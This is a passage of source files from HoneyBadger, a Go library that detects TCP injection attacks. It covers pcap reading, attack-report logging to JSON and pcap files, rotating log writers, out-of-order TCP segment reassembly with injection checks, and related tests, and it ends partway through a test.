/* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package drivers import ( "io" "os" "github.com/google/gopacket" "github.com/google/gopacket/pcapgo" "github.com/david415/HoneyBadger/types" ) func init() { SnifferRegister("pcapgo", NewPcapgoHandle) } type PcapgoHandle struct { reader *pcapgo.Reader fileReader io.ReadCloser } func NewPcapgoHandle(options *types.SnifferDriverOptions) (types.PacketDataSourceCloser, error) { fileReader, err := os.Open(options.Filename) if err != nil { return nil, err } reader, err := pcapgo.NewReader(fileReader) if err != nil { return nil, err } return &PcapgoHandle{ reader: reader, fileReader: fileReader, }, nil } func (a *PcapgoHandle) ReadPacketData() ([]byte, gopacket.CaptureInfo, error) { data, ci, err := a.reader.ReadPacketData() return data, ci, err } func (a *PcapgoHandle) Close() error { return a.fileReader.Close() } ================================================ FILE: drivers/register.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package drivers import ( "github.com/david415/HoneyBadger/types" ) var Drivers = map[string]func(*types.SnifferDriverOptions) (types.PacketDataSourceCloser, error){} // Register makes a ethernet sniffer driver available by the provided name. // If Register is called twice with the same name or if driver is nil, it panics. func SnifferRegister(name string, packetDataSourceCloserFactory func(*types.SnifferDriverOptions) (types.PacketDataSourceCloser, error)) { if packetDataSourceCloserFactory == nil { panic("sniffer: packetDataSourceCloserFactory is nil") } if _, dup := Drivers[name]; dup { panic("sniffer: Register called twice for ethernet sniffer " + name) } Drivers[name] = packetDataSourceCloserFactory } ================================================ FILE: go.mod ================================================ module github.com/david415/HoneyBadger go 1.13 require ( github.com/fatih/color v1.7.0 github.com/google/gopacket v1.1.17 github.com/mattn/go-colorable v0.1.4 // indirect github.com/mattn/go-isatty v0.0.11 // indirect ) ================================================ FILE: go.sum ================================================ github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/google/gopacket v1.1.17 h1:rMrlX2ZY2UbvT+sdz3+6J+pp2z+msCq9MxTU6ymxbBY= github.com/google/gopacket v1.1.17/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM= github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM= github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190405154228-4b34438f7a67 h1:1Fzlr8kkDLQwqMP8GxrhptBLqZG/EDpiATneiZHY998= golang.org/x/sys v0.0.0-20190405154228-4b34438f7a67/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= ================================================ FILE: logging/attack_logger.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package logging import ( "encoding/base64" "encoding/json" "fmt" "github.com/david415/HoneyBadger/types" "io" "os" "path/filepath" "time" ) type SerializedEvent struct { Type string Time time.Time PacketCount uint64 Flow string HijackSeq uint32 HijackAck uint32 Payload string Winner string Loser string Base, Start, End types.Sequence } // AttackJsonLogger is responsible for recording all attack reports as JSON objects in a file. type AttackJsonLogger struct { writer io.WriteCloser ArchiveDir string stopChan chan bool attackReportChan chan *types.Event } // NewAttackJsonLogger returns a pointer to a AttackJsonLogger struct func NewAttackJsonLogger(archiveDir string) *AttackJsonLogger { a := AttackJsonLogger{ ArchiveDir: archiveDir, stopChan: make(chan bool), attackReportChan: make(chan *types.Event), } return &a } func (a *AttackJsonLogger) Start() { go a.receiveReports() } func (a *AttackJsonLogger) Stop() { a.stopChan <- true } func (a *AttackJsonLogger) receiveReports() { for { select { case <-a.stopChan: return case unserializedReport := <-a.attackReportChan: a.SerializeAndWrite(unserializedReport) } } } func (a *AttackJsonLogger) Log(event *types.Event) { a.attackReportChan <- event } func (a *AttackJsonLogger) SerializeAndWrite(event *types.Event) { serialized := &SerializedEvent{ Type: event.Type, PacketCount: event.PacketCount, Flow: event.Flow.String(), HijackSeq: event.HijackSeq, HijackAck: event.HijackAck, Time: event.Time, Payload: base64.StdEncoding.EncodeToString(event.Payload), Winner: base64.StdEncoding.EncodeToString(event.Winner), Loser: base64.StdEncoding.EncodeToString(event.Loser), Base: event.Base, Start: event.Start, End: event.End, } a.Publish(serialized) } // Publish writes a JSON report to the attack-report file for that flow. func (a *AttackJsonLogger) Publish(event *SerializedEvent) { b, err := json.Marshal(event) logName := filepath.Join(a.ArchiveDir, fmt.Sprintf("%s.attackreport.json", event.Flow)) a.writer, err = os.OpenFile(logName, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) if err != nil { panic(fmt.Sprintf("error opening file: %v", err)) } defer a.writer.Close() a.writer.Write([]byte(fmt.Sprintf("%s\n", string(b)))) } ================================================ FILE: logging/metadata_attack_logger.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package logging import ( "encoding/json" "fmt" "github.com/david415/HoneyBadger/types" "io" "os" "path/filepath" ) // AttackMetadataJsonLogger is responsible for recording all attack reports as JSON objects in a file. // This attack logger only logs metadata... but ouch code duplication. type AttackMetadataJsonLogger struct { writer io.WriteCloser ArchiveDir string stopChan chan bool attackReportChan chan *types.Event } // NewAttackMetadataJsonLogger returns a pointer to a AttackMetadataJsonLogger struct func NewAttackMetadataJsonLogger(archiveDir string) *AttackMetadataJsonLogger { a := AttackMetadataJsonLogger{ ArchiveDir: archiveDir, stopChan: make(chan bool), attackReportChan: make(chan *types.Event), } return &a } func (a *AttackMetadataJsonLogger) Start() { go a.receiveReports() } func (a *AttackMetadataJsonLogger) Stop() { a.stopChan <- true } func (a *AttackMetadataJsonLogger) receiveReports() { for { select { case <-a.stopChan: return case event := <-a.attackReportChan: a.SerializeAndWrite(event) } } } func (a *AttackMetadataJsonLogger) Log(event *types.Event) { a.attackReportChan <- event } func (a *AttackMetadataJsonLogger) SerializeAndWrite(event *types.Event) { publishableEvent := &SerializedEvent{ Type: event.Type, PacketCount: event.PacketCount, Flow: event.Flow.String(), HijackSeq: event.HijackSeq, HijackAck: event.HijackAck, Time: event.Time, Base: event.Base, Start: event.Start, End: event.End, } a.Publish(publishableEvent) } // Publish writes a JSON report to the attack-report file for that flow. func (a *AttackMetadataJsonLogger) Publish(event *SerializedEvent) { b, err := json.Marshal(*event) logName := filepath.Join(a.ArchiveDir, fmt.Sprintf("%s.metadata-attackreport.json", event.Flow)) a.writer, err = os.OpenFile(logName, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) if err != nil { panic(fmt.Sprintf("error opening file: %v", err)) } defer a.writer.Close() a.writer.Write([]byte(fmt.Sprintf("%s\n", string(b)))) } ================================================ FILE: logging/pcap_logger.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2014, 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package logging import ( "fmt" "io" "os" "path/filepath" "time" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/google/gopacket/pcapgo" "github.com/david415/HoneyBadger/types" ) type TimedPacket struct { RawPacket []byte Timestamp time.Time } // PcapLogger struct is used to log packets to a pcap file type PcapLogger struct { packetChan chan TimedPacket stopChan chan bool AckChan *chan bool LogDir string ArchiveDir string Flow *types.TcpIpFlow writer *pcapgo.Writer FileWriter io.WriteCloser pcapLogNum int pcapQuota int basename string } func NewPcapLogger(logDir, archiveDir string, flow *types.TcpIpFlow, pcapLogNum int, pcapQuota int) *PcapLogger { p := PcapLogger{ packetChan: make(chan TimedPacket), stopChan: make(chan bool), AckChan: nil, Flow: flow, LogDir: logDir, ArchiveDir: archiveDir, pcapLogNum: pcapLogNum, pcapQuota: pcapQuota, } p.basename = filepath.Join(p.LogDir, fmt.Sprintf("%s.pcap", p.Flow)) p.FileWriter = NewRotatingQuotaWriter(p.basename, p.pcapQuota, p.pcapLogNum, p.WriteHeader) p.writer = pcapgo.NewWriter(p.FileWriter) return &p } type PcapLoggerFactory struct { LogDir string ArchiveDir string PcapLogNum int PcapQuota int } func NewPcapLoggerFactory(logDir, archiveDir string, pcapLogNum, pcapQuota int) PcapLoggerFactory { return PcapLoggerFactory{ LogDir: logDir, ArchiveDir: archiveDir, PcapLogNum: pcapLogNum, PcapQuota: pcapQuota, } } func (f PcapLoggerFactory) Build(flow *types.TcpIpFlow) types.PacketLogger { return NewPcapLogger(f.LogDir, f.ArchiveDir, flow, f.PcapLogNum, f.PcapQuota) } func (p *PcapLogger) SetFileWriter(writer io.WriteCloser) { p.FileWriter = writer p.writer = pcapgo.NewWriter(p.FileWriter) } func (p *PcapLogger) WriteHeader() { err := p.writer.WriteFileHeader(65536, layers.LinkTypeEthernet) if err != nil { panic(err) } } func (p *PcapLogger) Start() { go p.logPackets() } func (p *PcapLogger) Stop() { p.stopChan <- true p.FileWriter.Close() } func (p *PcapLogger) Archive() { newBasename := filepath.Join(p.ArchiveDir, filepath.Base(p.basename)) os.Rename(p.basename, newBasename) for i := 1; i < p.pcapLogNum+1; i++ { os.Rename(filepath.Join(p.LogDir, fmt.Sprintf("%s.pcap.%d", p.Flow.String(), i)), fmt.Sprintf("%s.%d", newBasename, i)) } } func (p *PcapLogger) logPackets() { for { select { case <-p.stopChan: return case timedPacket := <-p.packetChan: p.WritePacketToFile(timedPacket.RawPacket, timedPacket.Timestamp) if p.AckChan != nil { c := p.AckChan *c <- true } } } } func (p *PcapLogger) Remove() { os.Remove(p.basename) for i := 1; i < p.pcapLogNum+1; i++ { os.Remove(filepath.Join(p.LogDir, fmt.Sprintf("%s.pcap.%d", p.Flow, i))) } } func (p *PcapLogger) WritePacket(rawPacket []byte, timestamp time.Time) { p.packetChan <- TimedPacket{ RawPacket: rawPacket, Timestamp: timestamp, } } func (p *PcapLogger) WritePacketToFile(rawPacket []byte, timestamp time.Time) { err := p.writer.WritePacket(gopacket.CaptureInfo{ Timestamp: timestamp, CaptureLength: len(rawPacket), Length: len(rawPacket), }, rawPacket) if err != nil { panic(err) } } ================================================ FILE: logging/pcap_logger_test.go ================================================ package logging import ( "bytes" "github.com/david415/HoneyBadger/types" "github.com/google/gopacket" "github.com/google/gopacket/layers" "log" "net" "testing" "encoding/hex" "time" ) func makeTestPacket() []byte { var testSeq uint32 = 12345 buf := gopacket.NewSerializeBuffer() opts := gopacket.SerializeOptions{ FixLengths: true, ComputeChecksums: true, } eth := layers.Ethernet{ SrcMAC: net.HardwareAddr{0xde, 0xad, 0xbe, 0xee, 0xee, 0xff}, DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, } ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ SYN: true, SrcPort: 1, DstPort: 2, Seq: testSeq, BaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}}, } tcp.SetNetworkLayerForChecksum(&ip) gopacket.SerializeLayers(buf, opts, ð, &ip, &tcp) packetData := buf.Bytes() return packetData } type TestPcapWriter struct { lastWrite []byte } func NewTestPcapWriter() *TestPcapWriter { return &TestPcapWriter{} } func (w *TestPcapWriter) Write(data []byte) (int, error) { w.lastWrite = data return len(data), nil } func (w *TestPcapWriter) Close() error { return nil } func TestPcapLogger(t *testing.T) { ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) pcapLogger := NewPcapLogger("log-dir", "archive-dir", &flow, 1, 10) ackChan := make(chan bool) pcapLogger.AckChan = &ackChan testWriter := NewTestPcapWriter() pcapLogger.SetFileWriter(testWriter) //testWriter.lastWrite = make([]byte, 0) pcapLogger.Start() rawPacket := makeTestPacket() pcapLogger.WritePacket(rawPacket, time.Now()) <- ackChan log.Printf("before hex dump of %d len bytes\n", len(testWriter.lastWrite)) log.Print(hex.Dump(testWriter.lastWrite)) log.Print("post hex\n") // XXX TODO test our rotating quota logger for pcap header output on each log file //want := []byte("\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00") //if !bytes.Equal(testWriter.lastWrite, want) { // t.Errorf("pcap header is wrong") // t.Fail() //} if !bytes.Equal(testWriter.lastWrite, rawPacket) { t.Errorf("pcap packet is wrong") t.Fail() } pcapLogger.Stop() } ================================================ FILE: logging/rotating_writer.go ================================================ /* * HoneyBadger core library for detecting TCP injection attacks * * Copyright (C) 2015 David Stainton * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ package logging import ( "fmt" "math" "os" ) type RotatingQuotaWriter struct { filename string fp *os.File numLogs int logSize int quotaSizeBytes int sizes []int headerFunc func() mustWriteHeader bool } // NewRotatingQuotaWriter takes a "starting filename" and a quota size in bytes... // and guarantees to behave as an io.Writer who will write no more than quotaSize // bytes to disk. `headerFunc` is executed upon the new file, after each rotation. func NewRotatingQuotaWriter(filename string, quotaSize int, numLogs int, headerFunc func()) *RotatingQuotaWriter { quotaSizeBytes := quotaSize * 1024 * 1024 logSize := int(math.Floor(float64(quotaSizeBytes) / float64(numLogs))) if logSize*numLogs > quotaSizeBytes { panic("wtf: logSize * numLogs > quotaSize") } w := &RotatingQuotaWriter{ filename: filename, numLogs: numLogs, logSize: logSize, quotaSizeBytes: quotaSizeBytes, headerFunc: headerFunc, sizes: make([]int, numLogs), fp: nil, mustWriteHeader: true, } return w } func (w *RotatingQuotaWriter) Write(output []byte) (int, error) { var err error if w.fp == nil { w.fp, err = os.Create(w.filename) if err != nil { panic(err) } w.mustWriteHeader = true w.headerFunc() w.sizes[0] += len(output) return w.fp.Write(output) } if w.mustWriteHeader { w.mustWriteHeader = false w.sizes[0] += len(output) return w.fp.Write(output) } if w.sizes[0]+len(output) > w.logSize { w.rotate() // pop w.sizes = w.sizes[0 : len(w.sizes)-1] // push new := make([]int, 1, 10) new[0] = len(output) w.sizes = append(new, w.sizes...) w.fp, err = os.Create(w.filename) if err != nil { panic(err) } } else { w.sizes[0] += len(output) } return w.fp.Write(output) } func (w *RotatingQuotaWriter) Close() error { err := w.fp.Close() w.fp = nil return err } func (w *RotatingQuotaWriter) rotate() { var err error if w.fp != nil { err = w.fp.Close() w.fp = nil if err != nil { panic(err) } } for i := w.numLogs; i > 0; i-- { w.shiftLog(i) } newName := fmt.Sprintf("%s.1", w.filename) err = os.Rename(w.filename, newName) if err != nil { panic(err) } } func (w *RotatingQuotaWriter) shiftLog(logNum int) { var err error oldName := fmt.Sprintf("%s.%d", w.filename, logNum) if logNum == w.numLogs { os.Remove(oldName) return } _, err = os.Stat(oldName) if os.IsNotExist(err) { return } else if err != nil { panic(err) } newName := fmt.Sprintf("%s.%d", w.filename, logNum+1) err = os.Rename(oldName, newName) if err != nil { panic(err) } } ================================================ FILE: logging/util_test.go ================================================ package logging type TestSignalWriter struct { lastWrite []byte signalChan chan bool closeChan chan bool } func NewTestSignalWriter() *TestSignalWriter { return &TestSignalWriter{ signalChan: make(chan bool), closeChan: make(chan bool), } } func (w *TestSignalWriter) Write(data []byte) (int, error) { w.lastWrite = data w.signalChan <- true return len(data), nil } func (w *TestSignalWriter) Close() error { w.closeChan <- true return nil } ================================================ FILE: ordered_coalesce.go ================================================ /* * packet_reorder.go - tcp packet reordering * * I include google's license because this code is copy-pasted and refactored * from the original, Google's gopacket.tcpassembly... * Thanks to Graeme Connel for writing tcpassembly! */ // Copyright 2012 Google, Inc. All rights reserved. // // Use of this source code is governed by a BSD-style license // that can be found in the LICENSE_BSD file in the root of the source // tree. package HoneyBadger import ( "github.com/david415/HoneyBadger/types" "github.com/google/gopacket/layers" "log" "time" ) const pageBytes = 1900 const memLog = true // XXX get rid of me later... // page is used to store TCP data we're not ready for yet (out-of-order // packets). Unused pages are stored in and returned from a pageCache, which // avoids memory allocation. Used pages are stored in a doubly-linked list in // an OrderedCoalesce. type page struct { types.Reassembly index int prev, next *page buf [pageBytes]byte } // pageCache is a concurrency-unsafe store of page objects we use to avoid // memory allocation as much as we can. It grows but never shrinks. type pageCache struct { free []*page pcSize int size, used int pages [][]page pageRequests int64 } const initialAllocSize = 1024 func newPageCache() *pageCache { pc := &pageCache{ free: make([]*page, 0, initialAllocSize), pcSize: initialAllocSize, } pc.grow() return pc } // grow exponentially increases the size of our page cache as much as necessary. func (c *pageCache) grow() { pages := make([]page, c.pcSize) c.pages = append(c.pages, pages) c.size += c.pcSize for i := range pages { c.free = append(c.free, &pages[i]) } if memLog { log.Println("PageCache: created", c.pcSize, "new pages") } c.pcSize *= 2 } // next returns a clean, ready-to-use page object. func (c *pageCache) next(ts time.Time) (p *page) { if memLog { c.pageRequests++ if c.pageRequests&0xFFFF == 0 { log.Println("PageCache:", c.pageRequests, "requested,", c.used, "used,", len(c.free), "free") } } if len(c.free) == 0 { c.grow() } i := len(c.free) - 1 p, c.free = c.free[i], c.free[:i] p.prev = nil p.next = nil p.Seen = ts p.Bytes = p.buf[:0] c.used++ return p } // replace replaces a page into the pageCache. func (c *pageCache) replace(p *page) { c.used-- c.free = append(c.free, p) } func min(a, b int) int { if a < b { return a } return b } func byteSpan(expected, received types.Sequence, bytes []byte) (toSend []byte, next types.Sequence) { if expected == types.InvalidSequence { return bytes, received.Add(len(bytes)) } span := int(received.Difference(expected)) if span <= 0 { return bytes, received.Add(len(bytes)) } else if len(bytes) < span { return nil, expected } return bytes[span:], expected.Add(len(bytes) - span) } type OrderedCoalesce struct { // MaxBufferedPagesTotal is an upper limit on the total number of pages to // buffer while waiting for out-of-order packets. Once this limit is // reached, the assembler will degrade to flushing every connection it // gets a packet for. If <= 0, this is ignored. MaxBufferedPagesTotal int // MaxBufferedPagesPerConnection is an upper limit on the number of pages // buffered for a single flow. Should this limit be reached for a // particular flow, the smallest sequence number will be flushed, along // with any contiguous data. If <= 0, this is ignored. MaxBufferedPagesPerFlow int Flow *types.TcpIpFlow StreamRing *types.Ring log types.Logger pageCount int PageCache *pageCache first, last *page DetectCoalesceInjection bool attackDetected *bool } func NewOrderedCoalesce(logger types.Logger, flow *types.TcpIpFlow, pageCache *pageCache, streamRing *types.Ring, maxBufferedPagesTotal, maxBufferedPagesPerFlow int, DetectCoalesceInjection bool, attackDetected *bool) *OrderedCoalesce { return &OrderedCoalesce{ attackDetected: attackDetected, log: logger, Flow: flow, PageCache: pageCache, StreamRing: streamRing, MaxBufferedPagesTotal: maxBufferedPagesTotal, MaxBufferedPagesPerFlow: maxBufferedPagesPerFlow, DetectCoalesceInjection: DetectCoalesceInjection, } } // Close returns all used pages to the page cache func (o *OrderedCoalesce) Close() { for c := o.first; c != nil; c = c.next { o.PageCache.replace(c) } } func (o *OrderedCoalesce) insert(packetManifest *types.PacketManifest, nextSeq types.Sequence) (types.Sequence, bool) { isEnd := false if o.first != nil && o.first.Seq == nextSeq { panic("wtf") } // XXX for now we ignore zero size packets if len(packetManifest.Payload) == 0 { return nextSeq, false } if o.pageCount < 0 { panic("OrderedCoalesce.insert pageCount less than zero") } // XXX todo: handle out of order FIN and RST packets p, p2, pcount := o.pagesFromTcp(packetManifest) prev, current := o.traverse(types.Sequence(packetManifest.TCP.Seq)) o.pushBetween(prev, current, p, p2) o.pageCount += pcount if (o.MaxBufferedPagesPerFlow > 0 && o.pageCount >= o.MaxBufferedPagesPerFlow) || (o.MaxBufferedPagesTotal > 0 && o.PageCache.used >= o.MaxBufferedPagesTotal) { if o.pageCount < 0 { panic("OrderedCoalesce.insert pageCount less than zero") } nextSeq, isEnd = o.flushUntilThreshold(nextSeq) } return nextSeq, isEnd } // flushUntilThreshold will flush our cache until either we are within the threshold OR // our cache is empty. func (o *OrderedCoalesce) flushUntilThreshold(nextSeq types.Sequence) (types.Sequence, bool) { isEnd := false for o.first != nil && o.pageCount >= o.MaxBufferedPagesPerFlow || o.PageCache.used >= o.MaxBufferedPagesTotal { nextSeq, isEnd = o.addNext(nextSeq) if isEnd { break } } if o.first != nil { nextSeq, isEnd = o.addContiguous(nextSeq) } return nextSeq, isEnd } // pagesFromTcp creates a page (or set of pages) from a TCP packet. Note that // it should NEVER receive a SYN packet, as it doesn't handle sequences // correctly. // // It returns the first and last page in its doubly-linked list of new pages. func (o *OrderedCoalesce) pagesFromTcp(p *types.PacketManifest) (*page, *page, int) { first := o.PageCache.next(p.Timestamp) count := 1 current := first seq, bytes := types.Sequence(p.TCP.Seq), p.Payload for { length := min(len(bytes), pageBytes) current.Bytes = current.buf[:length] copy(current.Bytes, bytes) current.Seq = seq bytes = bytes[length:] if len(bytes) == 0 { break } seq = seq.Add(length) current.next = o.PageCache.next(p.Timestamp) count++ current.next.prev = current current = current.next } current.End = p.TCP.RST || p.TCP.FIN return first, current, count } // traverse traverses our doubly-linked list of pages for the correct // position to put the given sequence number. Note that it traverses backwards, // starting at the highest sequence number and going down, since we assume the // common case is that TCP packets for a stream will appear in-order, with // minimal loss or packet reordering. func (o *OrderedCoalesce) traverse(seq types.Sequence) (*page, *page) { var prev, current *page prev = o.last for prev != nil && prev.Seq.Difference(seq) < 0 { current = prev prev = current.prev } return prev, current } // pushBetween inserts the doubly-linked list first-...-last in between the // nodes prev-next in another doubly-linked list. If prev is nil, makes first // the new first page in the connection's list. If next is nil, makes last the // new last page in the list. first/last may point to the same page. func (o *OrderedCoalesce) pushBetween(prev, next, first, last *page) { // Maintain our doubly linked list if next == nil || o.last == nil { o.last = last } else { last.next = next next.prev = last } if prev == nil || o.first == nil { o.first = first } else { first.prev = prev prev.next = first } } func (o *OrderedCoalesce) freeNext() { if o.first == nil { panic("o.first is nil") } reclaim := o.first if o.first == o.last { o.first = nil o.last = nil } else { o.first = o.first.next o.first.prev = nil } o.PageCache.replace(reclaim) o.pageCount-- if o.pageCount < 0 { // XXX wtf srsly panic("pageCount less than zero") } } // addNext pops the first page off our doubly-linked-list and // appends it to the reassembly-ring. // Here we also handle the case where the connection should be closed // by returning the bool value set to true. func (o *OrderedCoalesce) addNext(nextSeq types.Sequence) (types.Sequence, bool) { if o.first == nil { panic("o.first is nil") } diff := nextSeq.Difference(o.first.Seq) if nextSeq == types.InvalidSequence { o.first.Skip = -1 } else if diff > 0 { o.first.Skip = int(diff) } if o.first.End { o.freeNext() return -1, true // after closing the connection our Sequence return value doesn't matter } if len(o.first.Bytes) == 0 { o.freeNext() return nextSeq, false } // ensure we do not add segments that end before nextSeq diff = o.first.Seq.Add(len(o.first.Bytes)).Difference(nextSeq) if diff > 0 { o.freeNext() return nextSeq, false } if o.DetectCoalesceInjection && len(o.first.Bytes) > 0 { // XXX stream segment overlap condition if diff < 0 { p := types.PacketManifest{ Timestamp: o.first.Seen, Payload: o.first.Bytes, TCP: &layers.TCP{ Seq: uint32(o.first.Seq), }, } start := types.Sequence(p.TCP.Seq) end := types.Sequence(p.TCP.Seq).Add(len(p.Payload)) events := checkForInjectionInRing(o.StreamRing, start, end, p.Payload) // log events if any for i := 0; i < len(events); i++ { if events[i] == nil { panic("wtf got nil event") } else { *o.attackDetected = true events[i].Type = "ordered coalesce 1" events[i].Time = o.first.Seen events[i].Base = o.first.Seq events[i].Flow = *o.Flow log.Print("detected an ordered coalesce injection\n") o.log.Log(events[i]) } } } } bytes, seq := byteSpan(nextSeq, o.first.Seq, o.first.Bytes) // XXX injection happens here if bytes != nil { o.first.Bytes = bytes nextSeq = seq // append reassembly to the reassembly ring buffer if len(o.first.Bytes) > 0 { o.StreamRing.Reassembly = &o.first.Reassembly o.StreamRing.Reassembly.IsCoalesce = true o.StreamRing = o.StreamRing.Next() } } o.freeNext() return nextSeq, false } // addContiguous adds contiguous byte-sets to a connection. // returns the next Sequence number and a bool value set to // true if the end of connection was detected. func (o *OrderedCoalesce) addContiguous(nextSeq types.Sequence) (types.Sequence, bool) { var isEnd bool for o.first != nil && nextSeq.Difference(o.first.Seq) <= 0 { nextSeq, isEnd = o.addNext(nextSeq) if isEnd { return nextSeq, true } } return nextSeq, false } ================================================ FILE: ordered_coalesce_test.go ================================================ package HoneyBadger import ( "github.com/david415/HoneyBadger/types" "github.com/google/gopacket" "github.com/google/gopacket/layers" "net" "testing" "time" ) func TestOrderedCoalesceUsedPages(t *testing.T) { maxBufferedPagesTotal := 1024 maxBufferedPagesPerFlow := 1024 streamRing := types.NewRing(40) PageCache := newPageCache() ipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5))) tcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2))) flow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow) var nextSeq types.Sequence = types.Sequence(1) attackDetected := false coalesce := NewOrderedCoalesce(nil, &flow, PageCache, streamRing, maxBufferedPagesTotal, maxBufferedPagesPerFlow, false, &attackDetected) ip := layers.IPv4{ SrcIP: net.IP{1, 2, 3, 4}, DstIP: net.IP{2, 3, 4, 5}, Version: 4, TTL: 64, Protocol: layers.IPProtocolTCP, } tcp := layers.TCP{ Seq: 3, SYN: false, SrcPort: 1, DstPort: 2, } p := types.PacketManifest{ Timestamp: time.Now(), Flow: &flow, IPv4: &ip, TCP: &tcp, Payload: []byte{1, 2, 3, 4, 5, 6, 7}, } coalesce.insert(&p, nextSeq) if 